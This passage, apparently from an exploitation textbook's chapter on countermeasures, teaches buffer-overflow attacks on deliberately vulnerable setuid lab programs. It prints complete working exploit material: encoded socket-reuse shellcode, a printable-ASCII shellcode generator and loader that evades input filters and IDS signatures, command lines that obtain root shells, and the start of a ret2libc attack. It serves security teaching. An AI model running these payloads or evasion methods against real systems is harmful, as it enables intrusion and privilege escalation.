The decoding loop uses the EDX register as a counter. It begins at 8 and counts down to 0, since 8 bytes need to be decoded. Exact stack addresses don’t matter in this case since the important parts are all relatively addressed, so the output below doesn’t bother attaching to an existing tinywebd process. reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ sudo gdb -q ./a.out warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) set disassembly-flavor intel (gdb) set follow-fork-mode child (gdb) run Starting program: /home/reader/booksrc/a.out Starting tiny web daemon..

Since the breakpoints are actually part of the shellcode, there is no need to set one from GDB. From another terminal, the shellcode is assembled and used with the socket-reusing exploit tool. From Another Terminal reader@hacking:~/booksrc $ nasm encoded_sockreuserestore_dbg.s reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_socketreuserestore_dbg 127.0.0.1 target IP: 127.0.0.1 shellcode: encoded_sockreuserestore_dbg (72 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 313] [shellcode 72] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open

Back in the GDB window, the first int3 instruction in the shellcode is hit. From here, we can verify that the string decodes properly.
Program received signal SIGTRAP, Trace/breakpoint trap. [Switching to process 12400] 0xbffff6ab in ?? () (gdb) x/10i $eip 0xbffff6ab: push 0x8 0xbffff6ad: pop edx 0xbffff6ae: sub BYTE PTR [ebx+edx],0x5 0xbffff6b2: dec edx 0xbffff6b3: jns 0xbffff6ae 0xbffff6b5 int3 0xbffff6b6: xor edx,edx 0xbffff6b8: push edx 0xbffff6b9: mov edx,esp 0xbffff6bb: push ebx (gdb) x/8c $ebx

C oun t erm ea s ure s

361

0xbffff738: 52 '4' 103 'g' 110 'n' 115 's' 52 '4' 120 'x' 109 'm' 5 '\005' (gdb) cont Continuing. [tcsetpgrp failed in terminal_inferior: Operation not permitted] Program received signal SIGTRAP, Trace/breakpoint trap. 0xbffff6b6 in ?? () (gdb) x/8c $ebx 0xbffff738: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\0' (gdb) x/s $ebx 0xbffff738: "/bin/sh" (gdb)

Now that the decoding has been verified, the int3 instructions can be removed from the shellcode. The following output shows the final shellcode being used. reader@hacking:~/booksrc $ sed -e 's/int3/;int3/g' encoded_sockreuserestore_dbg.s > encoded_sockreuserestore.s reader@hacking:~/booksrc $ diff encoded_sockreuserestore_dbg.s encoded_sockreuserestore.s 33c33 < int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING) > ;int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING) 42c42 < int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING) > ;int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING) reader@hacking:~/booksrc $ nasm encoded_sockreuserestore.s reader@hacking:~/booksrc $ hexdump -C encoded_sockreuserestore 00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..| 00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f |....T$\..j.Y1..?| 00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e |..Iy...h4xm.h4gn| 00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R| 00000040 89 e2 53 89 e1 cd 80 |..S....| 00000047 reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon.. reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore 127.0.0.1 target IP: 127.0.0.1 shellcode: encoded_sockreuserestore (71 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open whoami root

0x682 How to Hide a Sled
The NOP sled is another signature easy to detect by network IDSes and IPSes. Large blocks of 0x90 aren’t that common, so if a network security mechanism sees something like this, it’s probably an exploit. To avoid this signature, we can use different single-byte instructions instead of NOP. There are several one-byte instructions—the increment and decrement instructions for various registers—that are also printable ASCII characters.
362
0x 600

Instruction inc eax inc ebx inc ecx inc edx dec eax dec ebx dec ecx dec edx

Hex
0x40 0x43 0x41 0x42 0x48 0x4B 0x49 0x4A

ASCII @ C A B H K I J

Since we zero out these registers before we use them, we can safely use a random combination of these bytes for the NOP sled. Creating a new exploit tool that uses random combinations of the bytes @, C, A, B, H, K, I, and J instead of a regular NOP sled will be left as an exercise for the reader. The easiest way to do this would be by writing a sled-generation program in C, which is used with a BASH script. This modification will hide the exploit buffer from IDSes that look for a NOP sled.

0x690

Buffer Restrictions
Sometimes a program will place certain restrictions on buffers. This type of data sanity-checking can prevent many vulnerabilities. Consider the following example program, which is used to update product descriptions in a fictitious database. The first argument is the product code, and the second is the updated description. This program doesn’t actually update a database, but it does have an obvious vulnerability in it.

update_info.c
#include #include #include #define MAX_ID_LEN 40 #define MAX_DESC_LEN 500 /* Barf a message and exit. */ void barf(char *message, void *extra) { printf(message, extra); exit(1); } /* Pretend this function updates a product description in a database. */ void update_product_description(char *id, char *desc) { char product_code[5], description[MAX_DESC_LEN]; printf("[DEBUG]: description is at %p\n", description);

C oun t erm ea s ure s

363

strncpy(description, desc, MAX_DESC_LEN); strcpy(product_code, id); printf("Updating product #%s with description \'%s\'\n", product_code, desc); // Update database } int main(int argc, char *argv[], char *envp[]) { int i; char *id, *desc; if(argc < 2) barf("Usage: %s \n", argv[0]); id = argv[1]; // id - Product code to update in DB desc = argv[2]; // desc - Item description to update

if(strlen(id) > MAX_ID_LEN) // id must be less than MAX_ID_LEN bytes. barf("Fatal: id argument must be less than %u bytes\n", (void *)MAX_ID_LEN); for(i=0; i < strlen(desc)-1; i++) { // Only allow printable bytes in desc. if(!(isprint(desc[i]))) barf("Fatal: description argument can only contain printable bytes\n", NULL); } // Clearing out the stack memory (security) // Clearing all arguments except the first and second memset(argv[0], 0, strlen(argv[0])); for(i=3; argv[i] != 0; i++) memset(argv[i], 0, strlen(argv[i])); // Clearing all environment variables for(i=0; envp[i] != 0; i++) memset(envp[i], 0, strlen(envp[i])); printf("[DEBUG]: desc is at %p\n", desc); update_product_description(id, desc); // Update database. }

Despite the vulnerability, the code does make an attempt at security. The length of the product ID argument is restricted, and the contents of the description argument are limited to printable characters. In addition, the unused environment variables and program arguments are cleared out for security reasons. The first argument (id) is too small for shellcode, and since the rest of the stack memory is cleared out, there’s only one place left.

364

0x 600

reader@hacking:~/booksrc $ gcc -o update_info update_info.c reader@hacking:~/booksrc $ sudo chown root ./update_info reader@hacking:~/booksrc $ sudo chmod u+s ./update_info reader@hacking:~/booksrc $ ./update_info Usage: ./update_info reader@hacking:~/booksrc $ ./update_info OCP209 "Enforcement Droid" [DEBUG]: description is at 0xbffff650 Updating product #OCP209 with description 'Enforcement Droid' reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') blah [DEBUG]: description is at 0xbffff650 Segmentation fault reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\xf2\xf9\xff\xbf"x10') $(cat ./ shellcode.bin) Fatal: description argument can only contain printable bytes reader@hacking:~/booksrc $

This output shows a sample usage and then tries to exploit the vulnerable strcpy() call. Although the return address can be overwritten using the first argument (id), the only place we can put shellcode is in the second argument (desc). However, this buffer is checked for nonprintable bytes. The debugging

output below confirms that this program could be exploited, if there was a way to put shellcode in the description argument. reader@hacking:~/booksrc $ gdb -q ./update_info Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) run $(perl -e 'print "\xcb\xf9\xff\xbf"x10') blah The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xcb\xf9\xff\xbf"x10') blah [DEBUG]: desc is at 0xbffff9cb Updating product # with description 'blah' Program received signal SIGSEGV, Segmentation fault. 0xbffff9cb in ?? () (gdb) i r eip eip 0xbffff9cb 0xbffff9cb (gdb) x/s $eip 0xbffff9cb: "blah" (gdb)

The printable input validation is the only thing stopping exploitation. Like airport security, this input validation loop inspects everything coming in. And while it’s not possible to avoid this check, there are ways to smuggle illicit data past the guards.

C oun t erm ea s ure s

365

0x691 Polymorphic Printable ASCII Shellcode
Polymorphic shellcode refers to any shellcode that changes itself. The encoding shellcode from the previous section is technically polymorphic, since it modifies the string it uses while it’s running. The new NOP sled uses instructions that assemble into printable ASCII bytes. There are other instructions that fall into this printable range (from 0x33 to 0x7e); however, the total set is actually rather small. The goal is to write shellcode that will get past the printable character check. Trying to write complex shellcode with such a limited instruction set would simply be masochistic, so instead, the printable shellcode will use simple methods to build more complex shellcode on the stack. In this way, the printable shellcode will actually be instructions to make the real shellcode. The first step is figuring out a way to zero out registers. Unfortunately, the XOR instruction on the various registers doesn’t assemble into the printable ASCII character range. One option is to use the AND bitwise operation, which assembles into the percent character (%) when using the EAX register. The assembly instruction of and eax, 0x41414141 will assemble to the printable machine code of %AAAA, since 0x41 in hexadecimal is the printable character A. An AND operation transforms bits as follows:
1 0 1 0 and and and and 1 0 0 1 = = = = 1 0 0 0

Since the only case where the result is 1 is when both bits are 1, if two inverse values are ANDed onto EAX, EAX will become zero.
Binary 1000101010011100100111101001010 AND 0111010001100010011000000110101 -----------------------------------0000000000000000000000000000000 Hexadecimal 0x454e4f4a AND 0x3a313035 --------------0x00000000

Thus, by using two printable 32-bit values that are bitwise inverses of each other, the EAX register can be zeroed without using any null bytes, and the resulting assembled machine code will be printable text. and eax, 0x454e4f4a and eax, 0x3a313035 ; Assembles into %JONE ; Assembles into %501:

So %JONE%501: in machine code will zero out the EAX register. Interesting. Some other instructions that assemble into printable ASCII characters are shown in the box below. sub eax, 0x41414141 push eax pop eax push esp pop esp -AAAA P X T \

366

0x 600

Amazingly, these instructions, combined with the AND eax instruction, are sufficient to build loader code that will inject the shellcode onto the stack and then execute it. The general technique is, first, to set ESP back behind the executing loader code (in higher memory addresses), and then to build the shellcode from end to start by pushing values onto the stack, as shown here. Since the stack grows up (from higher memory addresses to lower memory addresses), the ESP will move backward as values are pushed to the stack, and the EIP will move forward as the loader code executes. Eventually, EIP and ESP will meet up, and the EIP will continue executing into the freshly built shellcode.
1)

Loader Code EIP
2)

ESP

Loader Code EIP
3)

Shellcode ESP

Loader Code EIP ESP

Shellcode being built

o

First, ESP must be set behind the printable loader shellcode. A little debugging with GDB shows that after gaining control of program execution, ESP is 555 bytes before the start of the overflow buffer (which will contain the loader code). The ESP register must be moved so it’s after the loader code, while still leaving room for the new shellcode and for the loader shellcode itself. About 300 bytes should be enough room for this, so let’s add 860 bytes to ESP to put it 305 bytes past the start of the loader code. This value doesn’t need to be exact, since provisions will be made later to allow for some slop. Since the only usable instruction is subtraction, addition can be simulated by subtracting so much from the register that it wraps around. The register only has 32 bits of space, so adding 860 to a register is the same as subtracting 860 from 232, or 4,294,966,436. However, this subtraction must only use printable values, so we split it up across three instructions that all use printable operands. sub eax, 0x39393333 sub eax, 0x72727550 sub eax, 0x54545421 ; Assembles into -3399 ; Assembles into -Purr ; Assembles into -!TTT

As the GDB output confirms, subtracting these three values from a 32-bit number is the same as adding 860 to it.

C oun t erm ea s ure s

367

reader@hacking:~/booksrc $ gdb -q (gdb) print 0 - 0x39393333 - 0x72727550 - 0x54545421 $1 = 860 (gdb)

The goal is to subtract these values from ESP, not EAX, but the instruction sub esp doesn’t assemble into a printable ASCII character. So the current value

of ESP must be moved into EAX for the subtraction, and then the new value of EAX must be moved back into ESP. However, since neither mov esp, eax nor mov eax, esp assemble into printable ASCII characters, this exchange must be done using the stack. By pushing the value from the source register to the stack and then popping it off into the destination register, the equivalent of a mov dest, source instruction can be accomplished with push source and pop dest. Fortunately, the pop and push instructions for both EAX and ESP registers assemble into printable ASCII characters, so this can all be done using printable ASCII. Here is the final set of instructions to add 860 to ESP. push esp pop eax ; Assembles into T ; Assembles into X

sub eax, 0x39393333 sub eax, 0x72727550 sub eax, 0x54545421 push eax pop esp

; Assembles into -3399 ; Assembles into -Purr ; Assembles into -!TTT ; Assembles into P ; Assembles into \

This means that TX-3399-Purr-!TTT-P\ will add 860 to ESP in machine code. So far, so good. Now the shellcode must be built. First, EAX must be zeroed out; this is easy now that a method has been discovered. Then, by using more sub instructions, the EAX register must be set to the last four bytes of the shellcode, in reverse order. Since the stack normally grows upward (toward lower memory addresses) and builds with a FILO ordering, the first value pushed to the stack must be the last four bytes of the shellcode. These bytes must be in reverse order, due to the little-endian byte ordering. The following output shows a hexadecimal dump of the standard shellcode used in the previous chapters, which will be built by the printable loader code. reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin 00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 00000020 e1 cd 80

|1.1.1......j.XQh| |//shh/bin..Q..S.| |...|

In this case, the last four bytes are shown in bold; the proper value for the EAX register is 0x80cde189. This is easy to do by using sub instructions to wrap the value around. Then, EAX can be pushed to the stack. This moves
368
0x 600

ESP up (toward lower memory addresses) to the end of the newly pushed value, ready for the next four bytes of shellcode (shown in italic in the preceding shellcode). More sub instructions are used to wrap EAX around to 0x53e28951, and this value is then pushed to the stack. As this process is repeated for each four-byte chunk, the shellcode is built from end to start, toward the executing loader code.
00000000 00000010 00000020 31 c0 31 db 31 c9 99 b0 2f 2f 73 68 68 2f 62 69 e1 cd 80 a4 cd 80 6a 0b 58 51 68 6e 89 e3 51 89 e2 53 89 |1.1.1......j.XQh| |//shh/bin..Q..S.| |...|

Eventually, the beginning of the shellcode is reached, but there are only three bytes (shown in italic in the preceding shellcode) left after pushing 0x99c931db to the stack. This situation is alleviated by inserting one singlebyte NOP instruction at the beginning of the code, resulting in the value 0x31c03190 being pushed to the stack— 0x90 is machine code for NOP. Each of these four-byte chunks of the original shellcode is generated with the printable subtraction method used earlier. The following source code is a program to help calculate the necessary printable values. printable_helper.c
#include #include #include #include #include #include

#define CHR "%_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-" int main(int argc, char* argv[]) { unsigned int targ, last, t[4], l[4]; unsigned int try, single, carry=0; int len, a, i, j, k, m, z, flag=0; char word[3][4]; unsigned char mem[70]; if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(1); } srand(time(NULL)); bzero(mem, 70); strcpy(mem, CHR); len = strlen(mem); strfry(mem); // Randomize last = strtoul(argv[1], NULL, 0); targ = strtoul(argv[2], NULL, 0);

C oun t erm ea s ure s

369

printf("calculating printable values to subtract from EAX..\n\n"); t[3] = (targ & 0xff000000)>>24; // Splitting by bytes t[2] = (targ & 0x00ff0000)>>16; t[1] = (targ & 0x0000ff00)>>8; t[0] = (targ & 0x000000ff); l[3] = (last & 0xff000000)>>24; l[2] = (last & 0x00ff0000)>>16; l[1] = (last & 0x0000ff00)>>8; l[0] = (last & 0x000000ff); for(a=1; a < 5; a++) { // Value count carry = flag = 0; for(z=0; z < 4; z++) { // Byte count for(i=0; i < len; i++) { for(j=0; j < len; j++) { for(k=0; k < len; k++) { for(m=0; m < len; m++) { if(a < 2) j = len+1; if(a < 3) k = len+1; if(a < 4) m = len+1; try = t[z] + carry+mem[i]+mem[j]+mem[k]+mem[m]; single = (try & 0x000000ff); if(single == l[z]) { carry = (try & 0x0000ff00)>>8; if(i < len) word[0][z] = mem[i]; if(j < len) word[1][z] = mem[j]; if(k < len) word[2][z] = mem[k]; if(m < len) word[3][z] = mem[m]; i = j = k = m = len+2; flag++; } } } } } } if(flag == 4) { // If all 4 bytes found printf("start: 0x%08x\n\n", last); for(i=0; i < a; i++) printf(" - 0x%08x\n", *((unsigned int *)word[i])); printf("-------------------\n"); printf("end: 0x%08x\n", targ); exit(0); } }

When this program is run, it expects two arguments—the start and the end values for EAX. For the printable loader shellcode, EAX is zeroed out to start with, and the end value should be 0x80cde189. This value corresponds to the last four bytes from shellcode.bin.
370

0x 600

reader@hacking:~/booksrc $ gcc -o printable_helper printable_helper.c reader@hacking:~/booksrc $ ./printable_helper 0 0x80cde189 calculating printable values to subtract from EAX.. start: 0x00000000 - 0x346d6d25 - 0x256d6d25 - 0x2557442d ------------------end: 0x80cde189 reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin 00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh| 00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.| 00000020 e1 cd 80 |...| 00000023 reader@hacking:~/booksrc $ ./printable_helper 0x80cde189 0x53e28951 calculating printable values to subtract from EAX.. start: 0x80cde189 - 0x59316659 - 0x59667766 - 0x7a537a79 ------------------end: 0x53e28951 reader@hacking:~/booksrc $

The output above shows the printable values needed to wrap the zeroed EAX register around to 0x80cde189 (shown in bold). Next, EAX should be wrapped around again to 0x53e28951 for the next four bytes of the shellcode (building backwards). This process is repeated until all the shellcode is built. The code for the entire process is shown below. printable.s
BITS 32 push esp pop eax sub eax,0x39393333 sub eax,0x72727550 sub eax,0x54545421 push eax pop esp and eax,0x454e4f4a and eax,0x3a313035 sub eax,0x346d6d25 sub eax,0x256d6d25 sub eax,0x2557442d push eax sub eax,0x59316659 sub eax,0x59667766 sub eax,0x7a537a79 ; Put current ESP ; into EAX. ; Subtract printable values ; to add 860 to EAX. ; Put EAX back into ESP. ; Effectively ESP = ESP + 860 ; Zero out EAX. ; Subtract printable values ; to make EAX = 0x80cde189. ; (last 4 bytes from shellcode.bin) ; Push these bytes to stack at ESP. ; Subtract more printable values ; to make EAX = 0x53e28951. ; (next 4 bytes of shellcode from the end)
C oun t erm ea s ure s

371

push eax sub eax,0x25696969 sub eax,0x25786b5a sub eax,0x25774625 push eax sub eax,0x366e5858 sub eax,0x25773939 sub eax,0x25747470 push eax sub eax,0x25257725 sub eax,0x71717171 sub eax,0x5869506a push eax sub eax,0x63636363 sub eax,0x44307744 sub eax,0x7a434957 push eax sub eax,0x63363663 sub eax,0x6d543057 push eax sub eax,0x54545454 sub eax,0x304e4e25 sub eax,0x32346f25 sub eax,0x302d6137 push eax sub eax,0x78474778 sub eax,0x78727272 sub eax,0x774f4661 push eax sub eax,0x41704170 sub eax,0x2d772d4e sub eax,0x32483242 push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax

; EAX = 0xe3896e69

; EAX = 0x622f6868

; EAX = 0x732f2f68

; EAX = 0x51580b6a

; EAX = 0x80cda4b0

; EAX = 0x99c931db

; EAX = 0x31c03190

; EAX = 0x90909090 ; Build a NOP sled.

372

0x 600

At the end, the shellcode has been built somewhere after the loader code, most likely leaving a gap between the newly built shellcode and the executing loader code. This gap can be bridged by building a NOP sled between the loader code and the shellcode. Once again, sub instructions are used to set EAX to 0x90909090, and EAX is repeatedly pushed to the stack. With each push instruction, four NOP instructions are tacked onto the beginning of the shellcode. Eventually, these NOP instructions will build right over the executing push instructions of the loader code, allowing the EIP and program execution to flow over the sled into the shellcode. This assembles into a printable ASCII string, which doubles as executable machine code. reader@hacking:~/booksrc $ nasm printable.s reader@hacking:~/booksrc $ echo $(cat ./printable) TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w-B2H2PPPPPPPPPPPPPPPPPPPPPP reader@hacking:~/booksrc $

This printable ASCII shellcode can now be used to smuggle the actual shellcode past the input-validation routine of the update_info program. reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') $(cat ./printable) [DEBUG]: desc argument is at 0xbffff910 Segmentation fault reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\x10\xf9\xff\xbf"x10') $(cat ./ printable) [DEBUG]: desc argument is at 0xbffff910 Updating product ########### with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%PYf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmPTTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP' sh-3.2# whoami root sh-3.2#

Neat. In case you weren’t able to follow everything that just happened there, the output below watches the execution of the printable shellcode in GDB. The stack addresses will be slightly different, changing the return addresses, but this won’t affect the printable shellcode—it calculates its location based on ESP, giving it this versatility. reader@hacking:~/booksrc $ gdb -q ./update_info Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass update_product_description Dump of assembler code for function update_product_description: 0x080484a8 : push ebp 0x080484a9 : mov ebp,esp 0x080484ab : sub esp,0x28 0x080484ae : mov eax,DWORD PTR [ebp+8] 0x080484b1 : mov DWORD PTR [esp+4],eax
C oun t erm ea s ure s

373

0x080484b5 : lea eax,[ebp-24] 0x080484b8 : mov DWORD PTR [esp],eax 0x080484bb : call 0x8048388 0x080484c0 : mov eax,DWORD PTR [ebp+12] 0x080484c3 : mov DWORD PTR [esp+8],eax 0x080484c7 : lea eax,[ebp-24] 0x080484ca : mov DWORD PTR [esp+4],eax 0x080484ce : mov DWORD PTR [esp],0x80487a0 0x080484d5 : call 0x8048398 0x080484da : leave 0x080484db : ret End of assembler dump. (gdb) break *0x080484db Breakpoint 1 at 0x80484db: file update_info.c, line 21. (gdb) run $(perl -e 'print "AAAA"x10') $(cat ./printable) Starting program: /home/reader/booksrc/update_info $(perl -e 'print "AAAA"x10') $(cat ./ printable) [DEBUG]: desc argument is at 0xbffff8fd Program received signal SIGSEGV, Segmentation fault. 0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6 (gdb) run $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable) The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable) [DEBUG]: desc argument is at 0xbffff8fd Updating product # with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfYyzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP' Breakpoint 1, 0x080484db in update_product_description ( id=0x72727550 , desc=0x5454212d ) at update_info.c:21 21 } (gdb) stepi 0xbffff8fd in ?? () (gdb) x/9i $eip 0xbffff8fd: push esp 0xbffff8fe: pop eax 0xbffff8ff: sub eax,0x39393333 0xbffff904: sub eax,0x72727550 0xbffff909: sub eax,0x54545421 0xbffff90e: push eax 0xbffff90f: pop esp 0xbffff910: and eax,0x454e4f4a 0xbffff915: and eax,0x3a313035 (gdb) i r esp esp 0xbffff6d0 0xbffff6d0 (gdb) p /x $esp + 860 $1 = 0xbffffa2c (gdb) stepi 9 0xbffff91a in ?? () (gdb) i r esp eax

374

0x 600

esp eax (gdb)

0xbffffa2c 0x0 0

0xbffffa2c

The first nine instructions add 860 to ESP and zero out the EAX register. The next eight instructions push the last eight bytes of the shellcode to the stack in four-byte chunks. This process is repeated in the next 32 instructions to build the entire shellcode on the stack.
(gdb) x/8i $eip 0xbffff91a: sub eax,0x346d6d25 0xbffff91f: sub eax,0x256d6d25 0xbffff924: sub eax,0x2557442d 0xbffff929: push eax 0xbffff92a: sub eax,0x59316659 0xbffff92f: sub eax,0x59667766 0xbffff934: sub eax,0x7a537a79 0xbffff939: push eax (gdb) stepi 8 0xbffff93a in ?? () (gdb) x/4x $esp 0xbffffa24: 0x53e28951 0x80cde189 (gdb) stepi 32 0xbffff9ba in ?? () (gdb) x/5i $eip 0xbffff9ba: push eax 0xbffff9bb: push eax 0xbffff9bc: push eax 0xbffff9bd: push eax 0xbffff9be: push eax (gdb) x/16x $esp 0xbffffa04: 0x90909090 0x31c03190 0xbffffa14: 0x51580b6a 0x732f2f68 0xbffffa24: 0x53e28951 0x80cde189 0xbffffa34: 0x00000000 0x00000000 (gdb) i r eip esp eax eip 0xbffff9ba 0xbffff9ba esp 0xbffffa04 0xbffffa04 eax 0x90909090 -1869574000 (gdb)

0x00000000

0x00000000

0x99c931db 0x622f6868 0x00000000 0x00000000

0x80cda4b0 0xe3896e69 0x00000000 0x00000000

Now with the shellcode completely constructed on the stack, EAX is set to 0x90909090. This is pushed to the stack repeatedly to build a NOP sled to bridge the gap between the end of the loader code and the newly constructed shellcode.
(gdb) x/24x 0xbffff9ba 0xbffff9ba: 0x50505050 0xbffff9ca: 0x50505050 0xbffff9da: 0x00000000 0xbffff9ea: 0x00000000 0xbffff9fa: 0x00000000 0xbffffa0a: 0x31db31c0

0x50505050 0x00000050 0x00000000 0x00000000 0x00000000 0xa4b099c9

0x50505050 0x00000000 0x00000000 0x00000000 0x90900000 0x0b6a80cd

0x50505050 0x00000000 0x00000000 0x00000000 0x31909090 0x2f685158
C oun t erm ea s ure s

375

(gdb) stepi 10 0xbffff9c4 in ?? () (gdb) x/24x 0xbffff9ba 0xbffff9ba: 0x50505050 0xbffff9ca: 0x50505050 0xbffff9da: 0x90900000 0xbffff9ea: 0x90909090 0xbffff9fa: 0x90909090 0xbffffa0a: 0x31db31c0 (gdb) stepi 5 0xbffff9c9 in ?? () (gdb) x/24x 0xbffff9ba 0xbffff9ba: 0x50505050 0xbffff9ca: 0x90909090 0xbffff9da: 0x90909090 0xbffff9ea: 0x90909090 0xbffff9fa: 0x90909090 0xbffffa0a: 0x31db31c0 (gdb)

0x50505050 0x00000050 0x90909090 0x90909090 0x90909090 0xa4b099c9

0x50505050 0x00000000 0x90909090 0x90909090 0x90909090 0x0b6a80cd

0x50505050 0x00000000 0x90909090 0x90909090 0x31909090 0x2f685158

0x50505050 0x90909090 0x90909090 0x90909090 0x90909090 0xa4b099c9

0x50505050 0x90909090 0x90909090 0x90909090 0x90909090 0x0b6a80cd

0x90905050 0x90909090 0x90909090 0x90909090 0x31909090 0x2f685158

Now the execution pointer (EIP) can flow over the NOP bridge into the constructed shellcode. Printable shellcode is a technique that can open some doors. It and all the other techniques we discussed are just building blocks that can be used in a myriad of different combinations. Their application requires some ingenuity on your part. Be clever and beat them at their own game.

0x6a0 Hardening Countermeasures
The exploit techniques demonstrated in this chapter have been around for ages. It was only a matter of time for programmers to come up with some clever protection methods. An exploit can be generalized as a three-step process: First, some sort of memory corruption; then, a change in control flow; and finally, execution of the shellcode.

0x6b0 Nonexecutable Stack
Most applications never need to execute anything on the stack, so an obvious defense against buffer overflow exploits is to make the stack nonexecutable. When this is done, shellcode inserted anywhere on the stack is basically useless. This type of defense will stop the majority of exploits out there, and it is becoming more popular. The latest version of OpenBSD has a nonexecutable stack by default, and a nonexecutable stack is available in Linux through PaX, a kernel patch.

0x6b1

ret2libc

Of course, there exists a technique used to bypass this protective countermeasure. This technique is known as returning into libc. libc is a standard C library that contains various basic functions, such as printf() and exit(). These
376
0x 600

functions are shared, so any program that uses the printf() function directs execution into the appropriate location in libc. An exploit can do the exact same thing and direct a program’s execution into a certain function in libc. The functionality of such an exploit is limited by the functions in libc, which is a significant restriction when compared to arbitrary shellcode. However, nothing is ever executed on the stack.

0x6b2

Returning into system()

One of the simplest libc functions to return into is system(). As you recall, this function takes a single argument and executes that argument with /bin/sh. This function only needs a single argument, which makes it a useful target. For this example, a simple vulnerable program will be used. vuln.c int main(int argc, char *argv[]) { char buffer[5]; strcpy(buffer, argv[1]); return 0; }

Of course, this program must be compiled and setuid root before it’s truly vulnerable. reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc -rwsr-xr-x 1 root reader $ gcc -o vuln vuln.c $ sudo chown root ./vuln $ sudo chmod u+s ./vuln $ ls -l ./vuln 6600 2007-09-30 22:43 ./vuln

reader@hacking:~/booksrc $

The general idea is to force the vulnerable program to spawn a shell, without executing anything on the stack, by returning into the libc function system(). If this function is supplied with the argument of /bin/sh, this should spawn a shell. First, the location of the system() function in libc must be determined. This will be different for every system, but once the location is known, it will remain the same until libc is recompiled. One of the easiest ways to find the location of a libc function is to create a simple dummy program and debug it, like this: reader@hacking:~/booksrc $ cat > dummy.c int main() { system(); } reader@hacking:~/booksrc $ gcc -o dummy dummy.c reader@hacking:~/booksrc $ gdb -q ./dummy Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

C oun t erm ea s ure s

377

(gdb) break main Breakpoint 1 at 0x804837a (gdb) run Starting program: /home/matrix/booksrc/dummy Breakpoint 1, 0x0804837a in main () (gdb) print system $1 = {} 0xb7ed0d80 (gdb) quit

Here, a dummy program is created that uses the system() function. After it’s compiled, the binary is opened in a debugger and a breakpoint is set at the beginning. The program is executed, and then the location of the system() function is displayed. In this case, the system() function is located at 0xb7ed0d80. Armed with that knowledge, we can direct program execution into the system() function of libc. However, the goal here is to cause the vulnerable program to execute system("/bin/sh") to provide a shell, so an argument must be supplied. When returning into libc, the return address and function arguments are read off the stack in what should be a familiar format: the return address followed by the arguments. On the stack, the return-into-libc call should look something like this:
Function address Return address Argument 1 Argument 2 Argument 3 ...

